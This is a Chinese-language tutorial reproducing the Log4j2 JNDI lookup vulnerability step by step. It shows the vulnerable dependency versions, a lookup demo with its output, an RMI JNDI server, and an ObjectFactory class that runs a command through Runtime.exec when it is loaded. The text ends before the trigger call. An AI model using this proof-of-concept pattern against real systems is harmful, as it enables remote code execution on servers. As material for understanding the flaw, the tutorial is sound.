漏洞问题重现
依赖
首先,先码一下依赖,我这里是gradle工程,大都督的是maven工程,不过都一样。
//今天的主角,log4j2
implementation 'org.apache.logging.log4j:log4j-core:2.13.3'
implementation 'org.apache.logging.log4j:log4j-api:2.13.3'
//下面这俩不重要,主要是为了提高逼格的
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.11'
implementation 'org.glassfish:jakarta.el:3.0.3'
常规的日志写法
一般来说我们是这么写日志的。因为这个demo我仅仅只依赖了log4j2,所以代码就直接调用log4j2的api记录日志了。
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = "world";
logger.trace("hello {}",content);
}
}
上面这个应该是我们非常常用的一种日志记录手法了。输出的结果应该是hello world
lookups
不过log4j2并不满足上面的功能,他们提供了一种叫lookups的功能log4j2的lookups说明。
这功能强大啊,我们用demo看一下:
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String content = "world";
logger.trace("hello {}",content);
//https://logging.apache.org/log4j/2.x/manual/lookups.html
String content2 = "${java:os}";
logger.trace("hello {}",content2);
String content3 = "${java:vm}";
logger.trace("hello {}",content3);
}
}
我们看下输出的结果:
2021-12-11 20:03:29.751 [main] TRACE [13] - hello world
2021-12-11 20:03:29.755 [main] TRACE [17] - hello Windows 10 10.0, architecture: amd64-64
2021-12-11 20:03:29.756 [main] TRACE [19] - hello Java HotSpot(TM) 64-Bit Server VM (build 25.261-b12, mixed mode)
从结果上可以看到,输出的并不是hello ${java:os}和hello ${java:vm},而是当前服务的操作系统信息和虚拟机信息。其实如果仅仅是这样,那也算不上什么漏洞,只能说功能强大而已。
Jndi Lookup
但是,log4j2还支持了Jndi Lookup这就很要命了。为了观察这个问题,我们先启动个JNDI的服务看看
public class SimpleJndiServer {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.createRegistry(1099);
System.out.println("create rmi 1099");
Reference reference = new Reference("com.skyline.log4j2.demo.jndi.JndiObj", "com.skyline.log4j2.demo.jndi.JndiObj", null);
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("demo", wrapper);
} catch (RemoteException | NamingException | AlreadyBoundException e) {
e.printStackTrace();
}
}
}
public class JndiObj implements ObjectFactory {
static {
System.out.println("this is JndiObj,i'm here!");
try {
//打开远程链接
Runtime.getRuntime()。exec("mstsc");
} catch (IOException e) {
e.printStackTrace();
}
}
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return new JndiObj();
}
@Override
public String toString() {
return "JndiObj{" +
"name='" + name + '\'' +
'}';
}
}
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